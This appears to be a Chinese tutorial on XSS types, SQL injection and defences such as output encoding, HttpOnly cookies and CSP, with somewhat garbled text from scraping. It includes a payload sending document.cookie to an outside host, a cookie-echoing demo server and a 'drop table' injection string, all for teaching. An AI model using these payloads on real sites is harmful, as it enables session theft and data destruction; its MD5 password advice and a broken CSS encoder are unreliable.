web安全之XSS攻击原理及防范

阅读目录javascript

一:什么是XSS攻击?css

XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击。XSS的重点不在于跨站点,而在于脚本的执行。那么XSS的原理是:
恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,所以会达到恶意攻击用户的目的。那么XSS攻击最主要有以下分类:反射型、存储型、及 DOM-based型。 反射性和DOM-baseed型能够归类为非持久性XSS攻击。存储型能够归类为持久性XSS攻击。html

二:反射型XSS前端

反射性XSS的原理是:反射性xss通常指攻击者经过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意连接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。java

反射性XSS又能够叫作非持久性XSS。为何叫反射型XSS呢?那是由于这种攻击方式的注入代码是从目标服务器经过错误信息,搜索结果等方式反射回来的,而为何又叫非持久性XSS呢?那是由于这种攻击方式只有一次性。node

好比:攻击者经过电子邮件等方式将包含注入脚本的恶意连接发送给受害者,当受害者点击该连接的时候,注入脚本被传输到目标服务器上,而后服务器将注入脚本 "反射"到受害者的浏览器上,从而浏览器就执行了该脚本。git

所以反射型XSS的攻击步骤以下:github

1. 攻击者在url后面的参数中加入恶意攻击代码。
2. 当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中而且返回给浏览器端。
3. 用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
4. 攻击者经过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到好比cookie等信息,而后使用该信息来冒充合法用户
的行为,调用目标网站接口执行攻击等操做。web

常见的反射性XSS有哪些?正则表达式

常见的是:恶意连接。

好比我如今作一个demo。在本地启动一个简单的服务器,而后在页面上点击一个连接后,好比以下代码:html代码以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title>csrf攻击</title>
</head>
<body>
  <div>
    <a href="http://localhost:3001/xss">xxs 攻击</a>
    <a href="http://localhost:3001/testcookie">testcookie 攻击</a>
  </div>
</body>
</html>

而后node中app.js 代码以下:

const Koa = require('koa');
const fs = require('fs');
const path = require('path');
const router = require('koa-router')();
const koaBody = require('koa-body');
const static = require('koa-static');

const app = new Koa();

router.get('/', (ctx, next) => {
  // 设置头类型, 若是不设置,会直接下载该页面
  ctx.type = 'html';
  // 读取文件
  const pathUrl = path.join(__dirname, '/static/index.html');
  ctx.body = fs.createReadStream(pathUrl);
  next();
});

router.get('/xss', (ctx, next) => {
  ctx.body = '<script>alert("反射型 XSS 攻击")</script>';
});
router.get('/testcookie', (ctx, next) => {
  console.log(ctx.cookies.get('connect.sid'));
  ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
  next();
});

app.use(static(path.join(__dirname)));

app.use(router.routes());
app.use(router.allowedMethods());

app.listen(3001, () => {
  console.log('server is listen in 3001');
});

如上代码,当用户点击xxs 攻击恶意连接时候,页面会跳转到 http://localhost:3001/xss 攻击者预先准备的页面,而后会返回攻击者准备的js脚本,该js脚本就在浏览器中执行了,以下所示:

当用户点击 testcookie 攻击 这个连接的时候,首先要保证页面上有cookie,好比我请求以下的cookie:

而后咱们点击 testcookie 该连接,也会调用node中的 router.get('/testcookie', (ctx, next) => {}) 这个请求获取到cookie,以下所示:

如上咱们就能够很容易经过xss攻击拿到对方的cookie信息了。

github源码查看

三:存储型XSS

存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

好比我如今作了一个博客网站,而后攻击者在上面发布了一篇文章,内容是以下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 若是我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其余用户访问该文章的时候,服务器会从数据库中读取后而后响应给客户端,那么浏览器就会执行这段脚本,而后攻击者就会获取到用户的cookie,而后会把cookie发送到攻击者的服务器上了。

所以存储型XSS的攻击步骤以下:

1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,而后拼接到html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后,就能获取到用户数据,好比上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
cookie而后会冒充该用户的行为,调用目标网站接口等违法操做。

如何防范?
1. 后端须要对提交的数据进行过滤。
2. 前端也能够作一下处理方式,好比对script标签,将特殊字符替换成HTML编码这些等。

四:DOM-based型XSS

咱们客户端的js能够对页面dom节点进行动态的操做,好比插入、修改页面的内容。好比说客户端从URL中提取数据而且在本地执行、若是用户在客户端输入的数据包含了恶意的js脚本的话,可是这些脚本又没有作任何过滤处理的话,那么咱们的应用程序就有可能受到DOM-based XSS的攻击。所以DOM型XSS的攻击步骤以下:

1. 攻击者构造出特殊的URL、在其中可能包含恶意代码。
2. 用户打开带有恶意代码的URL。
3. 用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。
4. 执行时,恶意代码窃取用户数据并发送到攻击者的网站中,那么攻击者网站拿到这些数据去冒充用户的行为操做。调用目标网站接口
执行攻击者一些操做。

DOM XSS 是基于文档对象模型的XSS。通常有以下DOM操做:
1. 使用document.write直接输出数据。
2. 使用innerHTML直接输出数据。
3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等这些。
好比以下demo:

<script>
  document.body.innerHTML = "<a href='"+url+"'>"+url+"</a>";
</script>

假如对于变量url的值是:javascript:alert('dom-xss'); 相似这样的,那么就会收到xss的攻击了。所以对于DOM XSS主要是因为本地客户端获取的DOM数据在本地执行致使的。所以咱们须要对HTML进行编码,对JS进行编码来防止这些问题产生。具体如何编码能够请看我下面的 XSS 如何防范那个地方便可。

咱们接下来看看demo代码吧:

1. 使用document.write直接输出致使浏览器解析恶意代码
代码以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查询部分(?以后的内容)
    // 为了方便演示,咱们假如url是 以下这样的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而后咱们的是 s 的值就为以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整个查询内容
    var url = "";                       // 定义变量url
    if (s.indexOf("url=") > -1) {       // 判断URL是否为空 
      var pos = s.indexOf("url=") + 4;  // 过滤掉"url="字符
      url = s.substring(pos, s.length);  // 获得地址栏里的url参数
    } else {
      url = "url参数为空";
    }
    document.write('url: <a href="' + url + '">"' + url + '"</a>'); 
  </script>
</body>
</html>

页面渲染完成后,点击弹窗以下所示:

2. 使用innerHTML直接输出致使浏览器解析恶意代码
代码以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查询部分(?以后的内容)
    // 为了方便演示,咱们假如url是 以下这样的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而后咱们的是 s 的值就为以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整个查询内容
    var url = "";                       // 定义变量url
    if (s.indexOf("url=") > -1) {       // 判断URL是否为空 
      var pos = s.indexOf("url=") + 4;  // 过滤掉"url="字符
      url = s.substring(pos, s.length);  // 获得地址栏里的url参数
    } else {
      url = "url参数为空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
      document.getElementById("test").innerHTML = '个人url是: <a href="' + url + '">"' + url + '"</a>';
  </script>
</body>
</html>

点击同样也会弹窗窗口的。也会同样执行xss攻击的。

3. 使用location/location.href/location.replace/iframe.src 形成的XSS

以下代码:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查询部分(?以后的内容)
    // 为了方便演示,咱们假如url是 以下这样的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而后咱们的是 s 的值就为以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整个查询内容
    var url = "";                       // 定义变量url
    if (s.indexOf("url=") > -1) {       // 判断URL是否为空 
      var pos = s.indexOf("url=") + 4;  // 过滤掉"url="字符
      url = s.substring(pos, s.length);  // 获得地址栏里的url参数
    } else {
      url = "url参数为空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
    location.href = url;
  </script>
</body>
</html>

刷新下页面,也会弹出窗口执行 xss攻击了。

五:SQL注入

SQL注入是经过客户端的输入把SQL命令注入到一个应用的数据库中,从而执行恶意的SQL语句。
什么意思呢?咱们来打个比方:咱们有一个登陆框,须要输入用户名和密码对吧,而后咱们的密码输入 'or '123' = '123 这样的。
咱们在查询用户名和密码是否正确的时候,原本执行的sql语句是:select * from user where username = '' and password = ''. 这样的sql语句,如今咱们输入密码是如上这样的,而后咱们会经过参数进行拼接,拼接后的sql语句就是:
select * from user where username = '' and password = ' ' or '123' = '123 '; 这样的了,那么会有一个or语句,只要这两个有一个是正确的话,就条件成立,所以 123 = 123 是成立的。所以验证就会被跳过。这只是一个简单的列子,好比还有密码好比是这样的:'; drop table user;, 这样的话,那么sql命令就变成了:
select * from user where username = '' and password = ''; drop table user;' , 那么这个时候咱们会把user表直接删除了。

sql被攻击的缘由是:sql语句伪造参数,而后对参数进行拼接后造成xss攻击的sql语句。最后会致使数据库被攻击了。

防范的方法:
1. 咱们可使用预编译语句(PreparedStatement,这样的话即便咱们使用sql语句伪形成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的做用。
2. 数据库中密码不该明文存储的,能够对密码使用md5进行加密,为了加大破解成本,因此能够采用加盐的方式。

cookie安全策略

在服务器端设置cookie的时候设置 http-only, 这样就能够防止用户经过JS获取cookie。对cookie的读写或发送通常有以下字段进行设置:

http-only: 只容许http或https请求读取cookie、JS代码是没法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只容许https请求读取,发送请求时自动发送cookie。
host-only: 只容许主机域名与domain设置完成一致的网站才能访问该cookie。

X-XSS-Protection设置

目前该属性被全部的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有以下几种配置:
值有以下几种:默认为1.
0:禁用XSS保护。
1:启用XSS保护。
1;mode=block; 启用xss保护,而且在检查到XSS攻击是,中止渲染页面。

XSS防护HTML编码

咱们为何要防护HTML编码呢?好比以下html代码:<div>${content}</div>, 在div标签中存在一个输出变量${content}. 那么浏览器在解析的过程当中,首先是html解析,当解析到div标签时,再解析 ${content}的内容,而后会将页面显示出来。
那假如该 ${content} 的值是 <script>alert('XSS攻击')</script> 这样的呢?所以该script脚本就会解析而且执行了,从而达到XSS的攻击目标。
所以咱们须要将不可信数据放入到html标签内(好比div、span等)的时候须要进行html编码。
编码规则:将 & < > " ' / 转义为实体字符。以下基本转义代码:

// 使用正则表达式实现html编码
    function htmlEncodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/ /g, "&nbsp;")
        .replace(/\'/g, "&#39")
        .replace(/\"/g, "&quot;")
        .replace(/\//g, '&#x2F;');
    }
    // 使用正则表达式实现html解码
    function htmlDecodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&amp;/g, "&")
        .replace(/&lt;/g, "<")
        .replace(/&gt;/g, ">")
        .replace(/&nbsp;/g, " ")
        .replace(/&#39/g, "\'")
        .replace(/&quot;/g, "\"")
        .replace(/&#x2F;/g, "\/");
    }

实现demo以下:

<!DOCTYPE html>
    <html>
    <head>
      <meta charset=utf-8>
      <meta name="referrer" content="never">
      <title></title>
    </head>
    <body>
      <script type="text/javascript">
        // 使用正则表达式实现html编码
        function htmlEncodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/ /g, "&nbsp;")
            .replace(/\'/g, "&#39")
            .replace(/\"/g, "&quot;")
            .replace(/\//g, '&#x2F;');
        }
        // 使用正则表达式实现html解码
        function htmlDecodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&amp;/g, "&")
            .replace(/&lt;/g, "<")
            .replace(/&gt;/g, ">")
            .replace(/&nbsp;/g, " ")
            .replace(/&#39/g, "\'")
            .replace(/&quot;/g, "\"")
            .replace(/&#x2F;/g, "\/");
        }

        // 测试代码:
        var html = '<br>aaaaaa<p>xxxxxx</p>';
        var encodeHtml = htmlEncodeByRegExp(html);
        // 输出:使用正则表达式对html编码:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;
        console.log("使用正则表达式对html编码:" + encodeHtml);
        var decodeHtml = htmlDecodeByRegExp(encodeHtml);

        // 输出:使用正则表达式对html解码:<br>aaaaaa<p>xxxxxx</p>
        console.log("使用正则表达式对html解码:" + decodeHtml);

      </script>
    </body>
    </html>

XSS 防护HTML Attribute编码

和HTML编码同样,html中的属性也要进行编码,好比 <input name="${name}" /> 这样的,name是input的属性,所以在html解析时,会对name属性进行编码,由于假如${name} 的值为:" " onclick="alert('属性XSS')" " " 这样的,也就是说input变成这样的了,<input name=" " onclick="alert('属性XSS')" " "></input>,input属性name被插入onclick事件了,所以也须要针对这种常规的html属性,都须要对其进行HTML属性编码。
所以咱们须要将不可信数据放入html属性时(不含src、href、style 和 事件处理函数(onclick, onmouseover等))。须要进行HTML Attribute 编码。
编码规则:除了字母、数字、字符之外,使用 &#x;16进制格式来转义ASCII值小于256全部的字符。

所以编码代码以下:

function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
   };

XSS防护之javascript编码

在上面的 XSS 防护HTML Attribute编码中咱们是能够防护XSS攻击,可是它只能防护的是HTML通用属性,并非所有属性,在html中还存在不少支持协议解析的html属性,好比 onclick, onerror, href, src 等这些,相似这些属性咱们是没法经过HTML编码来防范XSS攻击的。由于浏览器会先解析html编码的字符,将其转换为该属性的值,可是该属性自己支持JS代码执行,所以游览器在HTML解码后,对该属性的值进行JS解析,所以会执行响应的代码。

好比以下代码:<a href="javascript:alert('href xss')" target="_blank">href xss</a> 是能够点击的。 若是咱们对该进行html属性编码一下,仍是能够点击的,
如代码:<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML编码无效&#x27;&#x29;" target="_blank">href xss HTML属性编码无效</a> 页面仍是能够点击的。以下图所示:

以下对href属性编码:

var str = "javascript:alert('href xss')";
// 使用正则表达式实现html编码
function encodeForHTMLAttibute(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let ch = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
    }
    encoded += hex;
  }
  return encoded;
};
console.log(encodeForHTMLAttibute(str)); // javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x27;&#x29;

那么如今假如咱们对alert('href xss')进行JavaScript编码,结果又会如何?(JavaScript编码将字符编码成\x+16进制的形式,对款字节编码成Unicode)

注意:XSS防护之javascript编码代码以下:

function encodeForJavascript(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let cc = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '\\x' + cc.charCodeAt().toString(16);
    }
    encoded += hex;
  }
  return encoded;
};

以下demo演示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div>
    <a href="javascript:alert\x28\x27href\x20xss\x27\x29" target="_blank">Href XSS JavaScript编码</a>
  </div>
  <script type="text/javascript">
    var str = "alert('href xss')";
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); // alert\x28\x27href\x20xss\x27\x29
  </script>
</body>
</html>

如今咱们再来点击上面的a连接是不会有任何效果的。所以 XSS执行失败; 固然对onclick 事件等其余的也是同样的要进行编码。咱们也能够继续看下:onclick属性XSS

onclick属性XSS

好比如今咱们来看一下on事件属性:<div id="test" onclick="testFunc($value)">xxs测试</div> (此处的$value每每通常都是后台模板替换的变量)<div id="test" onclick="testFunc('$value')">xxs测试</div>

当$value的值 hello world'),alert('onclick xss 时,就会触发XSS攻击;代码就会变成以下:

<div id="test" onclick="testFunc('hello world'),alert('onclick xss')" >xxs测试</div>

所以demo以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc(xx) {
      
    }
  </script>
</body>
</html>

当我点击xss测试的时候,就会变成以下所示:

若是咱们使用html编码是不行的,对$value进行HTML编码, 咱们能够看看以下demo所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正则表达式实现html编码
    function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForHTMLAttibute(str)); 
    // hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss
  </script>
</body>
</html>

如上代码,咱们继续点击xxx测试的时候,仍是能够弹窗的。

如今若是咱们继续将$value进行JavaScript编码:显示正常,不存在XSS。 以下代码所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正则表达式实现html编码
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); 
    // hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss
  </script>
</body>
</html>

咱们继续点击就没有任何反应了,你们本身能够试试下。所以就不会存在xss攻击了。

XSS 防护之 URL 编码

做用范围:将不可信数据做为 URL 参数值时须要对参数进行 URL 编码
编码规则:将参数值进行 encodeURIComponent 编码

编码代码以下:

function encodeForURL(str){
  return encodeURIComponent(str);
};

XSS 防护之 CSS 编码

做用范围:将不可信数据做为 CSS 时进行 CSS 编码
好比:经过css构造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>

编码规则:除了字母数字字符之外,使用\XXXXXX格式来转义ASCII值小于256的全部字符。 编码代码以下:

function encodeForCSS (attr, str){
  let encoded = '';
  for (let i = 0; i < str.length; i++) {
    let ch = str.charAt(i);
    if (!ch.match(/[a-zA-Z0-9]/) {
      let hex = str.charCodeAt(i).toString(16);
      let pad = '000000'.substr((hex.length));
      encoded += '\\' + pad + hex;
    } else {
      encoded += ch;
    }
  }
  return encoded;
};

开启CSP网页安全政策防止XSS攻击

Content-Security-Policy 中文的意思是 网页安全政策,

CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止XSS攻击。是一种由开发者定义的安全性政策申明,经过CSP所约束的责任指定可信的内容来源,经过 Content-Security-Policy 网页的开发者能够控制整个页面中 外部资源 的加载和执行。
好比能够控制哪些 域名下的静态资源能够被页面加载,哪些不能被加载。这样就能够很大程度的防范了 来自 跨站(域名不一样) 的脚本攻击。

如何使用呢?

咱们只须要在meta属性中设置下便可:以下代码:

<meta http-equiv="Content-Security-Policy" content="">

好比以下的列子:

<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">

默认设置(default-src):信任 http ,https协议资源,信任当前域名资源,信任符合*.xxx.com的域名资源CSS设置(style-src):信任当前域名资源,容许内嵌的CSS资源,信任来自*.yyy.com下的CSS资源。
JS设置(script-src):信任当前域名资源,容许内嵌的JS执行,容许将字符串看成代码执行

有以下类别

default-src 给下面全部的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(好比 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(好比、<iframe>、和)
connect-src HTTP 链接(经过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件

script-src有以下属性值:

unsafe-inline 容许执行页面内嵌的<script>标签和事件监听函数unsafe-eval 容许将字符串看成代码执行,好比使用eval、setTimeout、setInterval和Function等函数nonce 每次HTTP回应给出一个受权token,页面内嵌脚本必须有这个token,才会执行hash 列出容许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的状况下,才能执行

相关文章
相关标签/搜索